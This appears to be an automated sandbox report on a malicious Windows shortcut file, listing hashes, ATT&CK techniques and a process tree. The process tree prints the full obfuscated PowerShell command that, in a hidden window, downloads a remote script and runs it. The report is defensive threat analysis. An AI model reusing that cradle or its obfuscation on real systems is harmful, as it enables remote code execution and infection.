c2c5837094cd8de442e49235887ce10e31e9f7ccc39af67235cfd548e7a1a177

Analysis

max time kernel
122s
max time network
124s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
27-11-2024 03:00

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General

Target

c2c5837094cd8de442e49235887ce10e31e9f7ccc39af67235cfd548e7a1a177.lnk
Size

2KB
MD5

4a658619a07a5237c0e85b75bf14e644
SHA1

089a04cc3a66c5b86ddbb6a481c5ab8702c1e621
SHA256

c2c5837094cd8de442e49235887ce10e31e9f7ccc39af67235cfd548e7a1a177
SHA512

88e0b970b2da52b263ecd6008a58df1094ce1acac03bd1358afad0d99daa6c3f89c32122451a3f6632f42db70541b3982ecaff046eda569968ed6ffd2879a394

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
5	2932	powershell.exe
6	2932	powershell.exe
7	2932	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2932	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2932	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2932	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2440 wrote to memory of 2932	2440	cmd.exe	31
PID 2440 wrote to memory of 2932	2440	cmd.exe	31
PID 2440 wrote to memory of 2932	2440	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\c2c5837094cd8de442e49235887ce10e31e9f7ccc39af67235cfd548e7a1a177.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2440
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -command &{$ty = 'dvn7d#Jt' + 'Bdj*cjU' + 'bn^v45F' + 'hjw#dhC' + 'ghi576_f#Ky' + 'jh9fKJ'; [string] $aCmd = {(New-xwzObject Nxwzetxwz.WebCxwzlient).DoxwzwnlxwzoadxwzStrxwzinxwzg('ht' + 'tp:/' + '/paxwzn' + 'axwzkxwzeosxwz' + 'xwz.icxwzu/scxwzripxwzts/scxwz-inxwzt' + 'exwzrmexwzdiatxwze.xwzpsxwz1')}; $rCmd = $aCmd.replace('xwz', ''); $finalExec = iex $rCmd; iex $finalExec; }
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2932

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2932-38-0x000007FEF58DE000-0x000007FEF58DF000-memory.dmp

Filesize
4KB

Download
memory/2932-39-0x000000001B660000-0x000000001B942000-memory.dmp

Filesize
2.9MB

Download
memory/2932-40-0x0000000001F30000-0x0000000001F38000-memory.dmp

Filesize
32KB

Download
memory/2932-43-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download
memory/2932-42-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download
memory/2932-41-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download
memory/2932-44-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download
memory/2932-45-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download
memory/2932-46-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download